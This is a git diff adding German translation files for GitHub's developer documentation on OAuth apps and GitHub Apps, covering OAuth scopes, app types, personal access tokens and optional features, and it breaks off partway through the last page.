diff --git a/translations/de-DE/content/developers/apps/building-oauth-apps/index.md b/translations/de-DE/content/developers/apps/building-oauth-apps/index.md
new file mode 100644
index 0000000000..002f4ea0ea
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-oauth-apps/index.md
@@ -0,0 +1,26 @@
+---
+title: Erstellen von OAuth-Apps
+intro: 'Du kannst OAuth-Apps für dich selbst oder andere erstellen. Erfahre, wie du Berechtigungen und Authentifizierungsoptionen für OAuth-Apps registrieren und einrichten kannst.'
+redirect_from:
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps
+  - /apps/building-oauth-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+children:
+  - /creating-an-oauth-app
+  - /authorizing-oauth-apps
+  - /scopes-for-oauth-apps
+  - /creating-a-custom-badge-for-your-oauth-app
+ms.openlocfilehash: 6618188f0a8da5fb1b865cecd886d337b38a2c77
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089988'
+---
+
diff --git a/translations/de-DE/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/de-DE/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
new file mode 100644
index 0000000000..d106478f7e
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
@@ -0,0 +1,123 @@
+---
+title: Scopes for OAuth Apps
+intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}'
+redirect_from:
+  - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps
+  - /apps/building-oauth-apps/scopes-for-oauth-apps
+  - /apps/building-oauth-apps/understanding-scopes-for-oauth-apps
+  - /developers/apps/scopes-for-oauth-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - OAuth Apps
+---
+When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form.
+
+{% note %}
+
+**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+
+{% endnote %}
+
+If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)."
+
+Check headers to see what OAuth scopes you have, and what the API action accepts:
+
+```shell
+$ curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I
+HTTP/2 200
+X-OAuth-Scopes: repo, user
+X-Accepted-OAuth-Scopes: user
+```
+
+* `X-OAuth-Scopes` lists the scopes your token has authorized.
+* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for.
+
+## Available scopes
+
+Name | Description
+-----|-----------|{% ifversion not ghae %}
+**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %}
+**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %}
+**`repo`** | Grants full access to public{% ifversion ghec or ghes or ghae %}, internal,{% endif %} and private repositories including read and write access to code, commit statuses, repository invitations, collaborators, deployment statuses, and repository webhooks. **Note**: In addition to repository related resources, the `repo` scope also grants access to manage organization-owned resources including projects, invitations, team memberships and webhooks. This scope also grants the ability to manage projects owned by users.
+&emsp;`repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code.
+&emsp;`repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %}
+&emsp;`public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %}
+&emsp;`repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes or ghec %}
+&emsp;`security_events` | Grants: <br/> read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) {%- ifversion ghec %}<br/> read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning){%- endif %} <br/> This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}
+**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks.
+&emsp;`write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
+&emsp;`read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
+**`admin:org`** | Fully manage the organization and its teams, projects, and memberships.
+&emsp;`write:org`| Read and write access to organization membership, organization projects, and team membership.
+&emsp;`read:org`| Read-only access to organization membership, organization projects, and team membership.
+**`admin:public_key`** | Fully manage public keys.
+&emsp;`write:public_key`| Create, list, and view details for public keys.
+&emsp;`read:public_key`| List and view details for public keys.
+**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. {% data variables.product.pat_generic_caps %}s will only be able to perform these actions on organization hooks created by a user.
+**`gist`** | Grants write access to gists.
+**`notifications`** | Grants: <br/>* read access to a user's notifications <br/>* mark as read access to threads <br/>* watch and unwatch access to a repository, and <br/>* read, write, and delete access to thread subscriptions.
+**`user`** | Grants read/write access to profile info only.  Note that this scope includes `user:email` and `user:follow`.
+&emsp;`read:user`| Grants access to read a user's profile data.
+&emsp;`user:email`| Grants read access to a user's email addresses.
+&emsp;`user:follow`| Grants access to follow or unfollow other users.{% ifversion projects-oauth-scope %}
+**`project`** | Grants read/write access to user and organization {% data variables.projects.projects_v2 %}.
+&emsp;`read:project`| Grants read only access to user and organization {% data variables.projects.projects_v2 %}.{% endif %}
+**`delete_repo`** | Grants access to delete adminable repositories.
+**`write:discussion`** | Allows read and write access for team discussions.
+&emsp;`read:discussion` | Allows read access for team discussions.
+**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)".
+**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)".
+**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+**`admin:gpg_key`** | Fully manage GPG keys.
+&emsp;`write:gpg_key`| Create, list, and view details for GPG keys.
+&emsp;`read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %}
+**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/security-in-github-codespaces#authentication)."{% endif %}
+**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% ifversion not fpt %}
+**`admin:enterprise`** | Gives full control of enterprise functionality. For more information, see "[Managing enterprise accounts](/graphql/guides/managing-enterprise-accounts)" in the GraphQL API documentation.<br><br>Includes `manage_runners:enterprise`{% ifversion ghec or ghes > 3.3 %}, `manage_billing:enterprise`,{% endif %} and `read:enterprise`. 
+&emsp;`manage_runners:enterprise` | Gives full control over self-hosted runners within the enterprise. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." {% ifversion ghec or ghes > 3.3 %}
+&emsp;`manage_billing:enterprise` | Read and write enterprise billing data. For more information, see "[Billing](/rest/billing)" in the REST API documentation. {% endif %}
+&emsp;`read:enterprise` | Read all data on an enterprise profile. Does not include profile data of enterprise members or organizations.{% endif %}{% ifversion read-audit-scope %}
+**`read:audit_log`** | Read audit log data.{% endif %}
+{% note %}
+
+**Note:** Your OAuth App can request the scopes in the initial redirection. You
+can specify multiple scopes by separating them with a space using `%20`:
+
+    https://github.com/login/oauth/authorize?
+      client_id=...&
+      scope=user%20repo_deployment
+
+{% endnote %}
+
+## Requested scopes and granted scopes
+
+The `scope` attribute lists scopes attached to the token that were granted by
+the user. Normally, these scopes will be identical to what you requested.
+However, users can edit their scopes, effectively
+granting your application less access than you originally requested. Also, users
+can edit token scopes after the OAuth flow is completed.
+You should be aware of this possibility and adjust your application's behavior
+accordingly.
+
+It's important to handle error cases where a user chooses to grant you
+less access than you originally requested. For example, applications can warn
+or otherwise communicate with their users that they will see reduced
+functionality or be unable to perform some actions.
+
+Also, applications can always send users back through the flow again to get
+additional permission, but don’t forget that users can always say no.
+
+Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which
+provides tips on handling modifiable token scopes.
+
+## Normalized scopes
+
+When requesting multiple scopes, the token is saved with a normalized list
+of scopes, discarding those that are implicitly included by another requested
+scope. For example, requesting `user,gist,user:email` will result in a
+token with `user` and `gist` scopes only since the access granted with
+`user:email` scope is included in the `user` scope.
diff --git a/translations/de-DE/content/developers/apps/getting-started-with-apps/about-apps.md b/translations/de-DE/content/developers/apps/getting-started-with-apps/about-apps.md
new file mode 100644
index 0000000000..27404e9d2e
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/getting-started-with-apps/about-apps.md
@@ -0,0 +1,112 @@
+---
+title: Informationen zu Apps
+intro: 'Du kannst Integrationen mithilfe der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-APIs erstellen, um deinem eigenen Workflow Flexibilität hinzuzufügen und einen reibungslosen Ablauf zu gewährleisten.{% ifversion fpt or ghec %} Du kannst Integrationen auch mit anderen Benutzer*innen auf [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) teilen.{% endif %}'
+redirect_from:
+  - /apps/building-integrationssetting-up-a-new-integration
+  - /apps/building-integrations
+  - /apps/getting-started-with-building-apps
+  - /apps/about-apps
+  - /developers/apps/about-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+ms.openlocfilehash: a66af14f6047b2aff435ac4ac8dc83d7a1181e92
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107357'
+---
+Apps auf {% data variables.product.prodname_dotcom %} ermöglichen dir die Automatisierung und Verbesserung deines Workflows. Du kannst Apps erstellen, um deinen Workflow zu verbessern.{% ifversion fpt or ghec %} Darüber hinaus kannst du Apps über den [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) freigeben oder verkaufen. Weitere Informationen zum Anbieten von Apps im {% data variables.product.prodname_marketplace %} findest du unter [Erste Schritte mit dem GitHub Marketplace](/marketplace/getting-started/).{% endif %}
+
+{% data reusables.marketplace.github_apps_preferred %}, GitHub unterstützt jedoch sowohl {% data variables.product.prodname_oauth_apps %} als auch {% data variables.product.prodname_github_apps %}. Informationen zum Auswählen einer Art von App findest du unter [Unterschiede zwischen GitHub-Apps und OAuth-Apps](/developers/apps/differences-between-github-apps-and-oauth-apps).
+
+{% data reusables.apps.general-apps-restrictions %}
+
+Eine exemplarische Vorgehensweise für die Erstellung einer {% data variables.product.prodname_github_app %} findest du unter [Erstellen deiner ersten {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app).
+
+## Informationen zu {% data variables.product.prodname_github_apps %}
+
+{% data variables.product.prodname_github_apps %} sind erstklassige Akteure auf GitHub. Eine {% data variables.product.prodname_github_app %} agiert selbstständig, indem sie direkt mit ihrer eigenen Identität Aktionen über die API ausführt. Dies bedeutet, dass du kein Bot- oder Dienstkonto als separaten Benutzer benötigst.
+
+Du kannst {% data variables.product.prodname_github_apps %} direkt in Organisationen und persönlichen Konten installieren und ihnen Zugriff auf bestimmte Repositorys gewähren. Diese Apps verfügen über integrierte Webhooks und restriktive, spezifische Berechtigungen. Beim Einrichten deiner {% data variables.product.prodname_github_app %} kannst du die Repositorys auswählen, auf die die App zugreifen soll. Du kannst beispielsweise eine App `MyGitHub` einrichten, die Probleme im Repository und `octocat`nur _das_`octocat` Repository schreibt. Zum Installieren einer {% data variables.product.prodname_github_app %} musst du ein Organisationsbesitzer sein oder über Administratorberechtigungen in einem Repository verfügen.
+
+{% data reusables.apps.app_manager_role %}
+
+{% data variables.product.prodname_github_apps %} sind Anwendungen, die irgendwo gehostet werden müssen. Schritt-für-Schritt-Anleitungen zu den Themen Server und Hosting findest du unter [Erstellen deiner ersten {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app).
+
+Zum Verbessern deines Workflows kannst du eine {% data variables.product.prodname_github_app %} erstellen, die mehrere Skripts oder eine gesamte Anwendung enthält, und dann diese App mit vielen anderen Tools verbinden. So kannst du beispielsweise {% data variables.product.prodname_github_apps %} mit GitHub, Slack, anderen ggf. vorhandenen internen Apps, E-Mail-Programmen oder anderen APIs verbinden.
+
+Beachte beim Erstellen von {% data variables.product.prodname_github_apps %} die folgenden Punkte:
+
+{% ifversion fpt or ghec %}
+* {% data reusables.apps.maximum-github-apps-allowed %} {% endif %}
+* Eine {% data variables.product.prodname_github_app %} sollte Aktionen unabhängig von Benutzer*innen ausführen (es sei denn, die App verwendet ein [Benutzer-zu-Server-Token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). {% data reusables.apps.expiring_user_authorization_tokens %}
+
+* Stelle sicher, dass die {% data variables.product.prodname_github_app %} mit bestimmten Repositorys integriert werden kann.
+* Die {% data variables.product.prodname_github_app %} sollte eine Verbindung mit einem persönlichen Konto oder einer Organisation herstellen.
+* Erwarte nicht, dass die {% data variables.product.prodname_github_app %} alles weiß und kann, was Benutzer*innen wissen und können.
+* Verwende keine {% data variables.product.prodname_github_app %}, wenn du nur einen Dienst zum Anmelden mit GitHub benötigst. Eine {% data variables.product.prodname_github_app %} kann jedoch einen [Benutzeridentifikationsflow](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) verwenden, um Benutzer*innen anzumelden _und_ andere Aktionen auszuführen.
+* Erstelle keine {% data variables.product.prodname_github_app %}, wenn du _nur_ als GitHub-Benutzer*in agieren und alle möglichen Benutzeraktionen ausführen möchtest.{% ifversion fpt or ghec %}
+* {% data reusables.apps.general-apps-restrictions %}{% endif %}
+
+Sieh dir zunächst den Artikel [Erstellen einer {% data variables.product.prodname_github_app %}](/apps/building-github-apps/creating-a-github-app/) an, um mit dem Entwickeln von {% data variables.product.prodname_github_apps %} zu beginnen.{% ifversion fpt or ghec %} Wenn du mehr über die Verwendung von {% data variables.product.prodname_github_app %}-Manifesten erfahren möchtest, mit denen vorkonfigurierte {% data variables.product.prodname_github_apps %} erstellt werden können, lies den Artikel [Erstellen von {% data variables.product.prodname_github_apps %} basierend auf einem Manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/).{% endif %}
+
+## Informationen zu {% data variables.product.prodname_oauth_apps %}
+
+OAuth2 ist ein Protokoll, mit dem externe Anwendungen Zugriff auf private Details im {% data variables.product.prodname_dotcom %}-Konto eines Benutzers oder einer Benutzerin beantragen können, ohne dass auf das Kennwort zugegriffen werden muss. Dies ist der Standardauthentifizierung vorzuziehen, da Token auf bestimmte Arten von Daten beschränkt und jederzeit von den Benutzer*innen widerrufen werden können.
+
+{% data reusables.apps.deletes_ssh_keys %}
+
+Eine {% data variables.product.prodname_oauth_app %} verwendet {% data variables.product.prodname_dotcom %} als Identitätsanbieter, um sich als der Benutzer bzw. die Benutzerin zu authentifizieren, der bzw. die Zugriff auf die App gewährt. Dies bedeutet, dass Benutzer*innen, die einer {% data variables.product.prodname_oauth_app %} Zugriff gewähren, dieser App Berechtigungen für _alle_ Repositorys erteilen, auf die sie mit ihrem Konto Zugriff haben, sowie für alle Organisationen, zu denen sie gehören und bei denen der Zugriff durch Dritte nicht blockiert ist.
+
+Das Erstellen einer {% data variables.product.prodname_oauth_app %} ist eine gute Option, wenn du Prozesse erstellst, die zu komplex für ein einfaches Skript sind. Beachte, dass es sich bei {% data variables.product.prodname_oauth_apps %} um Anwendungen handelt, die irgendwo gehostet werden müssen.
+
+Beachte beim Erstellen von {% data variables.product.prodname_oauth_apps %} die folgenden Punkte:
+
+{% ifversion fpt or ghec %}
+* {% data reusables.apps.maximum-oauth-apps-allowed %} {% endif %}
+* Eine {% data variables.product.prodname_oauth_app %} sollte immer und überall auf {% data variables.product.prodname_dotcom %} als der bzw. die authentifizierte {% data variables.product.prodname_dotcom %}-Benutzer*in agieren (z. B. beim Bereitstellen von Benutzerbenachrichtigungen).
+* Eine {% data variables.product.prodname_oauth_app %} kann als Identitätsanbieter verwendet werden, indem das Anmelden mit {% data variables.product.prodname_dotcom %} für den bzw. die authentifizierte Benutzer*in aktiviert wird.
+* Erstelle keine {% data variables.product.prodname_oauth_app %}, wenn deine Anwendung nur für ein Repository Aktionen ausführen soll. Mit dem OAuth-Bereich `repo` können {% data variables.product.prodname_oauth_apps %} in _allen_ Repositorys des authentifizierten Benutzers bzw. der authentifizierten Benutzerin Aktionen ausführen.
+* Erstelle keine {% data variables.product.prodname_oauth_app %} als Anwendung für dein Team oder Unternehmen. {% data variables.product.prodname_oauth_apps %} authentifizieren sich als einzelner Benutzer bzw. einzelne Benutzerin. Wenn eine Person eine {% data variables.product.prodname_oauth_app %} zur Nutzung durch ein Unternehmen erstellt und dann das Unternehmen verlässt, hat folglich niemand mehr Zugriff darauf.{% ifversion fpt or ghec %}
+* {% data reusables.apps.oauth-apps-restrictions %}{% endif %}
+
+Weitere Informationen zu {% data variables.product.prodname_oauth_apps %} findest du unter [Erstellen einer {% data variables.product.prodname_oauth_app %}](/apps/building-oauth-apps/creating-an-oauth-app/) und [Registrieren deiner App](/rest/guides/basics-of-authentication#registering-your-app).
+
+## {% data variables.product.pat_generic_caps %}s
+
+Ein [{% data variables.product.pat_generic %}](/articles/creating-a-personal-access-token-for-the-command-line/) ist eine Zeichenfolge, die ähnlich wie ein [OAuth-Token](/apps/building-oauth-apps/authorizing-oauth-apps/) funktioniert, da du die mit ihm verknüpften Berechtigungen über [Bereiche](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/) festlegen kannst. Ein {% data variables.product.pat_generic %} ähnelt auch einem Kennwort. Du kannst jedoch über viele persönliche Zugriffstoken verfügen und den Zugriff für die einzelnen Token jederzeit widerrufen.
+
+Du kannst zum Beispiel einem {% data variables.product.pat_generic %} Schreibberechtigungen für deine Repositorys erteilen. Wenn du dann einen cURL-Befehl ausführst oder ein Skript schreibst, das [ein Issue](/rest/reference/issues#create-an-issue) in deinem Repository erstellt, wird zur Authentifizierung das {% data variables.product.pat_generic %} übergeben. Du kannst das {% data variables.product.pat_generic %} als Umgebungsvariable speichern, damit du es nicht bei jeder Verwendung neu eintippen musst.
+
+Beachte bei der Verwendung von {% data variables.product.pat_generic %} die folgenden Punkte:
+
+* Denke daran, dieses Token nur für dich selbst zu verwenden.
+* Du kannst einmalige cURL-Anforderungen ausführen.
+* Du kannst persönliche Skripts ausführen.
+* Richte kein Skript ein, das von deinem gesamten Team oder Unternehmen verwendet werden soll.
+* Richte kein gemeinsam genutztes persönliches Konto ein, das als Botbenutzer fungieren soll.
+* Erteile deinem Token nur die minimal benötigten Berechtigungen.
+* Lege ein Ablaufdatum für deine {% data variables.product.pat_generic %} fest, um deine Daten zu schützen.
+
+## Entscheidung über die zu erstellende Integration
+
+Bevor du mit dem Erstellen von Integrationen beginnst, musst du die beste Möglichkeit für den Zugriff, die Authentifizierung und die Interaktion mit den {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-APIs ermitteln. Die folgende Abbildung enthält einige Fragen, die du dir bei der Entscheidung stellen solltest, ob du {% data variables.product.pat_generic %}, {% data variables.product.prodname_github_apps %} oder {% data variables.product.prodname_oauth_apps %} für deine Integration verwenden möchtest.
+
+![Flussdiagramm zur Einführung in Apps mit Fragen](/assets/images/intro-to-apps-flow.png)
+
+Denke über die folgenden Fragen dazu nach, wie deine Integration sich verhalten muss und worauf sie zugreifen können muss:
+
+* Agiert meine Integration nur als ich, oder verhält sie sich eher wie eine Anwendung?
+* Möchte ich, dass sie unabhängig von mir als eigene Entität agiert?
+* Greift sie auf alles zu, worauf ich zugreifen kann, oder möchte ich ihren Zugriff beschränken?
+* Ist sie einfach oder komplex? Beispielsweise ist ein {% data variables.product.pat_generic %} gut für einfache Skripts und cURLs geeignet, während eine {% data variables.product.prodname_oauth_app %} komplexere Skripts verarbeiten kann.
+
+## Anfordern von Unterstützung
+
+{% data reusables.support.help_resources %}
diff --git a/translations/de-DE/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md b/translations/de-DE/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md
new file mode 100644
index 0000000000..7d70c453f9
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md
@@ -0,0 +1,34 @@
+---
+title: Activating optional features for apps
+intro: 'You can test new optional features for your {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}.'
+redirect_from:
+  - /developers/apps/activating-beta-features-for-apps
+  - /developers/apps/activating-optional-features-for-apps
+versions:
+  fpt: '*'
+  ghae: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Activate optional features
+---
+{% warning %}
+
+**Warning:**  Optional features are subject to change.
+
+{% endwarning %}
+
+## Activating optional features for {% data variables.product.prodname_github_apps %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+3. Select the {% data variables.product.prodname_github_app %} you want to enable an optional feature for.
+{% data reusables.apps.optional_feature_activation %}
+
+## Activating optional features for {% data variables.product.prodname_oauth_apps %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.oauth_apps %}
+{% data reusables.apps.optional_feature_activation %}
diff --git a/translations/de-DE/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md b/translations/de-DE/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
new file mode 100644
index 0000000000..1327bfd36b
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
@@ -0,0 +1,121 @@
+---
+title: Unterschiede zwischen GitHub-Apps und OAuth-Apps
+intro: 'Das Verständnis der Unterschiede zwischen {% data variables.product.prodname_github_apps %} und {% data variables.product.prodname_oauth_apps %} hilft dir dabei, zu entscheiden, welche App du erstellen möchtest. Eine {% data variables.product.prodname_oauth_app %} fungiert als GitHub-Benutzer*in, während eine {% data variables.product.prodname_github_app %} eine eigene Identität verwendet, wenn sie in einer Organisation oder in Repositorys innerhalb einer Organisation installiert ist.'
+redirect_from:
+  - /early-access/integrations/integrations-vs-oauth-applications
+  - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type
+  - /apps/differences-between-apps
+  - /developers/apps/differences-between-github-apps-and-oauth-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+  - OAuth Apps
+shortTitle: GitHub Apps & OAuth Apps
+ms.openlocfilehash: d70304b71de11a4a24f2acc6c2545e78cbd19b0c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148008176'
+---
+## Wer kann GitHub-Apps installieren und OAuth-Apps autorisieren?
+
+Du kannst GitHub-Apps in deinem persönlichen Konto oder in Organisationen installieren, deren Besitzer*in du bist. Wenn du über Administratorberechtigungen in einem Repository verfügst, kannst du GitHub-Apps in Organisationskonten installieren. Wenn eine GitHub-App in einem Repository installiert wird und Organisationsberechtigungen erforderlich sind, muss die bzw. der Organisationsbesitzer*in die Anwendung genehmigen.
+
+{% data reusables.apps.app_manager_role %}
+
+Im Gegensatz dazu werden OAuth-Apps von Benutzer*innen autorisiert. Dadurch kann die App als authentifizierte*r Benutzer*in agieren. Du kannst beispielsweise eine OAuth-App autorisieren, mit der alle Benachrichtigungen für die oder den authentifizierte*n Benutzer*in ermittelt werden. Die Berechtigungen einer OAuth-App können immer widerrufen werden.
+
+{% ifversion limit-app-access-requests %} {% data reusables.organizations.restricted-app-access-requests %}{% endif %}
+
+{% data reusables.apps.deletes_ssh_keys %}
+
+| GitHub Apps | OAuth-Apps im Vergleich |
+| ----- | ------ |
+| Du musst Organisationsbesitzer*in sein oder über Administratorberechtigungen in einem Repository verfügen, um eine GitHub-App in einer Organisation zu installieren. Wenn eine GitHub-App in einem Repository installiert wird und Organisationsberechtigungen erforderlich sind, muss die bzw. der Organisationsbesitzer*in die Anwendung genehmigen. | Du kannst eine OAuth-App autorisieren, um Zugriff auf Ressourcen zu erhalten. |
+| Eine GitHub-App kann in deinem persönlichen Repository installiert werden. | Du kannst eine OAuth-App autorisieren, um Zugriff auf Ressourcen zu erhalten.|
+| Du musst Organisationsbesitzer*in oder Besitzer*in eines persönlichen Repositorys sein bzw. über Administratorberechtigungen in einem Repository verfügen, um eine GitHub-App zu deinstallieren und den Zugriff zu entfernen. | Du kannst ein OAuth-Zugriffstoken löschen, um den Zugriff zu entfernen. |
+| Du musst Organisationsbesitzer*in sein oder über Administratorberechtigungen in einem Repository verfügen, um die Installation einer GitHub-App anzufordern. | Ist eine Organisationsanwendungsrichtlinie aktiv, können alle Organisationsmitglieder die Installation einer OAuth-App in einer Organisation anfordern. Die oder der Organisationsbesitzer*in muss die Anforderung genehmigen oder ablehnen. |
+
+## Worauf können GitHub-Apps und OAuth-Apps zugreifen?
+
+Kontobesitzer*innen können eine {% data variables.product.prodname_github_app %} in einem Konto verwenden, ohne Zugriff auf weitere Ressourcen zu gewähren. Du kannst beispielsweise den Builddienst eines Drittanbieters in der Organisation deines Arbeitgebers installieren, diesem Builddienst jedoch keinen Zugriff auf Repositorys in deinem persönlichen Konto gewähren. Wenn die Person, die eine GitHub-App eingerichtet hat, die Organisation verlässt, bleibt die App installiert.
+
+Eine _autorisierte_ OAuth-App hat Zugriff auf alle Ressourcen, auf die eine oder ein Benutzer*in oder Organisationsbesitzer*in zugreifen kann.
+
+| GitHub Apps | OAuth-Apps im Vergleich |
+| ----- | ------ |
+| Durch die Installation einer GitHub-App erhält die App Zugriff auf die ausgewählten Repositorys eines Benutzer- oder Organisationskontos. | Durch die Autorisierung wird einer OAuth-App Zugriff auf die zugänglichen Ressourcen des Benutzers gewährt. Beispielsweise auf die Repositorys, auf die sie zugreifen können. |
+| Das Installationstoken aus einer GitHub-App verliert den Zugriff auf Ressourcen, wenn ein*e Administrator*in Repositorys aus der Installation entfernt. | Ein OAuth-Zugriffstoken verliert den Zugriff auf Ressourcen, wenn die oder der Benutzer*in den Zugriff verliert (wenn z. B. ihr oder sein Schreibzugriff auf ein Repository entfernt wird). |
+| Die Zugriffstoken für die Installation werden mit den vom Ersteller der Anwendung gewählten Berechtigungen auf bestimmte Repositorys beschränkt. | Ein OAuth-Zugriffstoken wird über Geltungsbereiche beschränkt. |
+| GitHub-Apps können separaten Zugriff auf Issues und Pull Requests anfordern, ohne auf den tatsächlichen Inhalt des Repositorys zuzugreifen. | OAuth-Apps müssen den `repo`-Bereich anfordern, um Zugriff auf Issues, Pull Requests oder Ressourcen zu erhalten, deren Besitzer das Repository ist. |
+| GitHub-Apps unterliegen nicht den Anwendungsrichtlinien der Organisation. Eine GitHub-App hat nur Zugriff auf die Repositorys, die ein Organisationsbesitzer gewährt hat. | Wenn eine Anwendungsrichtlinie einer Organisation aktiv ist, kann die Installation einer OAuth-App nur durch einen Organisationsbesitzer autorisiert werden. Wenn die OAuth-App installiert ist, erhält sie Zugriff auf alles, was für das Token sichtbar ist, über das der Organisationsbesitzer innerhalb der genehmigten Organisation verfügt. |
+| Eine GitHub-App empfängt ein Webhookereignis, wenn eine Installation geändert oder entfernt wird. Dadurch wird die oder der App-Ersteller*in informiert, wenn sie oder er mehr oder weniger Zugriff auf die Ressourcen einer Organisation erhalten hat. | Abhängig davon, wie sich der Zugriff der gewährenden Benutzer*innen ändert, können OAuth-Apps den Zugriff auf eine Organisation oder ein Repository jederzeit verlieren. Die OAuth-App informiert dich nicht, wenn sie Zugriff auf eine Ressource verliert. |
+
+## Tokenbasierte Identifizierung
+
+{% note %}
+
